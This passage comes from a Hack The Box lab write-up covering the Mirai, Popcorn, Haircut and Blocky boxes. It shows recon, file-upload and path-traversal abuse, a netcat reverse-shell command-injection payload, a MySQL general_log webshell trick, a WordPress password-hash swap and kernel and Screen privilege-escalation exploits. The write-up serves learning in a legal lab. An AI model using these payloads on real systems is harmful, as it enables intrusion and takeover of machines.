simple.&lt;/p&gt;&#10;&lt;p&gt;I researched this afterward and started testing based on my own reasoning, since I had never learned about this before.&lt;/p&gt;&#10;&lt;p&gt;I spent a long time doing it the wrong way, and nothing worked.&lt;/p&gt;&#10;&lt;p&gt;Eventually I had to read a write-up, where I learned one crucial point.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0263.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First: df -h&#9;mount&#9;lsblk&lt;/p&gt;&#10;&lt;p&gt;All three commands show which device is mounted. According to the author&amp;rsquo;s explanation, deleting something after mounting it doesn&amp;rsquo;t mean it has also been erased from the original device.&lt;/p&gt;&#10;&lt;p&gt;Only this article explained it clearly:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://0xdf.gitlab.io/2022/05/18/htb-mirai.html" target="_blank" rel="noopener"&#10; &gt;https://0xdf.gitlab.io/2022/05/18/htb-mirai.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;In other words, deletion doesn&amp;rsquo;t thoroughly erase the data; it only removes the file system&amp;rsquo;s directory structure. The data is overwritten when new data is written there. Apparently all disks work this way.&lt;/p&gt;&#10;&lt;p&gt;cat, grep, and strings all work because they can all inspect the data in the file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0264.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0265.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0266.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;grep -aPo &amp;lsquo;[a-zA-Z0-9]{32}&amp;rsquo; /dev/sdb&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0267.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Another lesson learned.&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s the end. This box broadened my knowledge, and its approach was quite different from the earlier ones. I learned something new.&lt;/p&gt;&#10;&lt;h2 id="14popcorn"&gt;&lt;a href="#14popcorn" class="header-anchor"&gt;&lt;/a&gt;14.Popcorn&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0268.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 22 requires a private key.&lt;/p&gt;&#10;&lt;p&gt;Port 80 has something on it.&lt;/p&gt;&#10;&lt;p&gt;This was originally test.php. Directory brute-forcing reveals it; I renamed it during testing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0269.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0270.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0271.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Registering grants access to this page, where files can be uploaded. It doesn&amp;rsquo;t seem to restrict file extensions. The only unclear part was where uploaded files went.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0272.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found an n-day, but according to its description the file should have been under the torrents directory. In reality, it wasn&amp;rsquo;t there.&lt;/p&gt;&#10;&lt;p&gt;I had a good idea here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0273.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://popcorn.htb/rename/index.php?filename=../torrent/torrents.php&amp;amp;newfilename=../torrent/torrents.txt" target="_blank" rel="noopener"&#10; &gt;http://popcorn.htb/rename/index.php?filename=../torrent/torrents.php&amp;amp;newfilename=../torrent/torrents.txt&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Rename it to txt, download it, and audit the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0274.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked.&lt;/p&gt;&#10;&lt;p&gt;Finally, I read the PHP files I had found:&lt;/p&gt;&#10;&lt;p&gt;torrents.php&lt;/p&gt;&#10;&lt;p&gt;upload.php&lt;/p&gt;&#10;&lt;p&gt;config.php&lt;/p&gt;&#10;&lt;p&gt;To get straight to the point, after reading them I found that the naming scheme takes the current torrent file&amp;rsquo;s SHA-1 value and appends .btf to form the filename.&lt;/p&gt;&#10;&lt;p&gt;The files are stored at &lt;a class="link" href="http://popcorn.htb/torrent/torrents/" target="_blank" rel="noopener"&#10; &gt;http://popcorn.htb/torrent/torrents/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Therefore, the path of the bundled Kali image was &lt;a class="link" href="http://popcorn.htb/torrent/torrents/723bc28f9b6f924cca68ccdff96b6190566ca6b4.btf" target="_blank" rel="noopener"&#10; &gt;http://popcorn.htb/torrent/torrents/723bc28f9b6f924cca68ccdff96b6190566ca6b4.btf&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;While reading the code, I encountered something new to me: obtaining a torrent file&amp;rsquo;s SHA-1 value in PHP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0275.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is how it is extracted, and from the subsequent code:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0276.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything became obvious. Upload something whose SHA-1 differs from the previous value—download anything from Baidu—add PHP code to it, upload it, and use rename on that filename to get a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0277.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Give it any name and upload it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0278.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got it here as well. Now download it and find its hash.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0279.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0280.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem at all. Just rename it directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0281.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Access it directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0282.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It threw an error, but at least it could be parsed. The problem was on my side, so I tried again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0283.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Switching to another file fixed it.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0284.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This came from config.php. I had actually read it earlier, but I&amp;rsquo;ll record it again.&lt;/p&gt;&#10;&lt;p&gt;There is a th_database.sql file under /var/www/torrent/database. Let&amp;rsquo;s transfer it locally and inspect it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0285.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing else.&lt;/p&gt;&#10;&lt;p&gt;admin/admin12&lt;/p&gt;&#10;&lt;p&gt;torrent/SuperSecret!!&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0286.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sudo didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;The home directory contained the torrenthoster.zip source code.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s upload an enumeration script and scan.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0287.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0288.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0289.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time to check them one by one.&lt;/p&gt;&#10;&lt;p&gt;mysqld_safe wasn&amp;rsquo;t in a scheduled task and had no SUID bit.&lt;/p&gt;&#10;&lt;p&gt;The second item suggested that we could run sudo without a password, but it kept asking me for one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0290.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had no permission for the third item.&lt;/p&gt;&#10;&lt;p&gt;pspy32 didn&amp;rsquo;t show any other processes running.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0291.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0292.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had checked almost everything and found nothing exploitable. The only thing left was torrenthoster.zip in George&amp;rsquo;s directory.&lt;/p&gt;&#10;&lt;p&gt;I downloaded and inspected it, but it had nothing either.&lt;/p&gt;&#10;&lt;p&gt;I was completely stuck. All I knew was that it claimed sudo needed no password, yet it required one whenever I used it.&lt;/p&gt;&#10;&lt;p&gt;The only option left was searchsploit. I found several scripts and uploaded them one by one to scan.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0293.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0294.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The others wouldn&amp;rsquo;t run, but this one looked interesting. It found everything and merely told us the password was wrong. Let&amp;rsquo;s read the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0295.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After reading it, I realized it meant exactly what it said: just enter toor.&lt;/p&gt;&#10;&lt;p&gt;Privilege escalation succeeded. This box was moderately difficult and broadened my thinking.&lt;/p&gt;&#10;&lt;p&gt;Done. Time to read a write-up.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@harellevy159/hackthebox-popcorn-write-up-51500a8d11ff" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@harellevy159/hackthebox-popcorn-write-up-51500a8d11ff&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0296.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The privilege-escalation method was different.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0297.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After looking at this script, I can only say my search method still needs work. I shouldn&amp;rsquo;t always include ubuntu; searching for the kernel can uncover other things too.&lt;/p&gt;&#10;&lt;p&gt;I also only just remembered this was Dirty COW, one of the most classic privilege-escalation exploits.&lt;/p&gt;&#10;&lt;p&gt;As for the exploit I used, they found it based on .cache/motd.legal-displayed, while I searched directly by the Ubuntu version.&lt;/p&gt;&#10;&lt;p&gt;My methodology wasn&amp;rsquo;t complete; I just got lucky. Everything else was much the same. That&amp;rsquo;s the end.&lt;/p&gt;&#10;&lt;h2 id="15haircut"&gt;&lt;a href="#15haircut" class="header-anchor"&gt;&lt;/a&gt;15.Haircut&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0298.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0299.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll stick to the key points again. There were three sites and an uploads directory.&lt;/p&gt;&#10;&lt;p&gt;The three sites contained three images and nothing else. I checked every image and found nothing.&lt;/p&gt;&#10;&lt;p&gt;uploads403&lt;/p&gt;&#10;&lt;p&gt;exposed.php had an obvious command-injection vulnerability, since I had encountered it on a previous box.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0300.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0301.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was $ command injection again. Many things were blocked, but netcat wasn&amp;rsquo;t. A connection attempt produced output, so I started building a reverse-shell payload.&lt;/p&gt;&#10;&lt;p&gt;[http://localhost/test.html$(netcat](http://localhost/test.html$(netcat) 10.10.16.13 9999 -c sh)&lt;/p&gt;&#10;&lt;p&gt;That pops a shell directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0302.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I can feel myself getting increasingly comfortable with these boxes.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation and information gathering.&lt;/p&gt;&#10;&lt;p&gt;First spawn a TTY: python3 -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0303.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The user.txt in Maria&amp;rsquo;s directory differed from the one on the Desktop.&lt;/p&gt;&#10;&lt;p&gt;0b0da2af50e9ab7c81a6ec2c562afeae&lt;/p&gt;&#10;&lt;p&gt;152294df041b51863cc9c7b5a52938f2&#9;# This is the one Hack The Box accepts&lt;/p&gt;&#10;&lt;p&gt;I ran LinEnum. It reported the kernel version, and I found an exploit for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0304.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0305.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. This box was fairly conventional; it only took me 50 minutes.&lt;/p&gt;&#10;&lt;p&gt;Still, I needed to read a write-up to learn other approaches. They found Screen 4.5.0 through SUID enumeration and escalated privileges with an exploit for it.&lt;/p&gt;&#10;&lt;p&gt;Their foothold method was to access an HTTP server they controlled and use -o to write the output to a PHP file. I barely found anyone using the same approach as mine.&lt;/p&gt;&#10;&lt;p&gt;Screen 4.5.0 is actually interesting, so I&amp;rsquo;ll give it a try.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0306.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Even without the earlier privilege escalation, this file would have caught my attention. A normal system doesn&amp;rsquo;t include it, and it even displays a version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0307.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;payload&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0308.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0309.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The error only says a file is missing.&lt;/p&gt;&#10;&lt;p&gt;It still failed. Let&amp;rsquo;s read the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0310.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It isn&amp;rsquo;t hard to understand. Compile it myself and then try it on the target.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0311.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was a warning, not an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0312.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Again, only a warning. The -static option is mainly added because GCC versions differ and other systems may otherwise produce errors.&lt;/p&gt;&#10;&lt;p&gt;Transfer it to the target and run the commands one by one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0313.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;As expected, it still failed.&lt;/del&gt; After analyzing the code, I realized that I did not understand the vulnerability used by libhax—the low-level details are still a bit beyond me. The exploit changes rootshell&amp;rsquo;s owner to root and sets its permissions to 755, so running rootshell gives us root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;It now looked like the problem had always been with libhax, so I investigated it.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;There was actually no problem. I had mistyped the name: I used libhex.so instead of libhax.so. After correcting it, everything ran normally.&lt;/p&gt;&#10;&lt;p&gt;Following the commands successfully gave me root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0314.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s everything.&lt;/p&gt;&#10;&lt;h2 id="16blocky"&gt;&lt;a href="#16blocky" class="header-anchor"&gt;&lt;/a&gt;16.Blocky&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0315.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0316.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0317.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll get straight to the conclusion again.&lt;/p&gt;&#10;&lt;p&gt;There was no vulnerability on port 21. Version 1.3.5 has an exploit that allows unauthenticated file moves, but after trying three exploits and manually testing and reading the code, I found that this target wasn&amp;rsquo;t vulnerable at all.&lt;/p&gt;&#10;&lt;p&gt;Port 22 revealed no information.&lt;/p&gt;&#10;&lt;p&gt;Port 80 hosted WordPress. I tested WordPress for a long time without success. It also had phpMyAdmin 4.5.4.1, but there were no relevant vulnerabilities.&lt;/p&gt;&#10;&lt;p&gt;WordPress had two users, though that wasn&amp;rsquo;t important.&lt;/p&gt;&#10;&lt;p&gt;There was nothing else.&lt;/p&gt;&#10;&lt;p&gt;That left directory brute-forcing, and sure enough it found something. Minecraft is compiled with Java, and I found two JAR files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0318.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I reversed them directly. I had expected to need a Java code audit, but I didn&amp;rsquo;t.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0319.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;These credentials let me log in to phpMyAdmin.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0320.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are many ways to get RCE from the backend.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0321.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Writing files was banned.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;show&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variables&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;like&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%general%&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#9;&lt;/span&gt;&lt;span class="c1"&gt;--Check the configuration, whether logging is enabled, and the default MySQL log path; save the original path for restoration&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;general_log&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#9;&#9;&lt;/span&gt;&lt;span class="c1"&gt;--Enable logging, which is disabled by default; leaving it enabled can create a very large file&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;general_log_file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/var/www/html/info.php&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#9;&#9;&lt;/span&gt;&lt;span class="c1"&gt;--Set the log path&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This method could still write, but the absolute path was always wrong. I then spent a long time trying to find the absolute path.&lt;/p&gt;&#10;&lt;p&gt;Eventually I ran out of options and suddenly realized that if phpMyAdmin couldn&amp;rsquo;t write a shell, I could use the WordPress backend to find the absolute path—or simply get a shell through the backend itself.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0322.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Change the first field to md5 and put the password in the second.&lt;/p&gt;&#10;&lt;p&gt;It automatically generates a salted password. I generated this one from password:&lt;/p&gt;&#10;&lt;p&gt;$P$Bmf0.aAqKmYZ9zmcrtFLx8kjh32HaT1&lt;/p&gt;&#10;&lt;p&gt;It can be used directly to log in as Notch/password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0323.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The template could be edited directly. I constructed the URL and got a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://blocky.htb/wp-content/themes/twentyseventeen/front-page.php" target="_blank" rel="noopener"&#10; &gt;http://blocky.htb/wp-content/themes/twentyseventeen/front-page.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0324.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once I was in, the first thing I did was check the absolute path. This was the path I had entered from the beginning, so why couldn&amp;rsquo;t SQL write to it?&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0325.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was obvious now: the web directory didn&amp;rsquo;t grant write permission to other users, so naturally it couldn&amp;rsquo;t write there.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation and information gathering.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0326.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a user named notch. I had deleted its password from the database. If that password could be cracked, perhaps I could su to it here.&lt;/p&gt;&#10;&lt;p&gt;Nothing was certain, so I checked each possibility. sudo was unusable for now because it required a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0327.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This kernel looked very familiar. I uploaded an exploit script directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0328.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0329.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. It was conventional penetration testing all the way through, with no unexpected services or anything 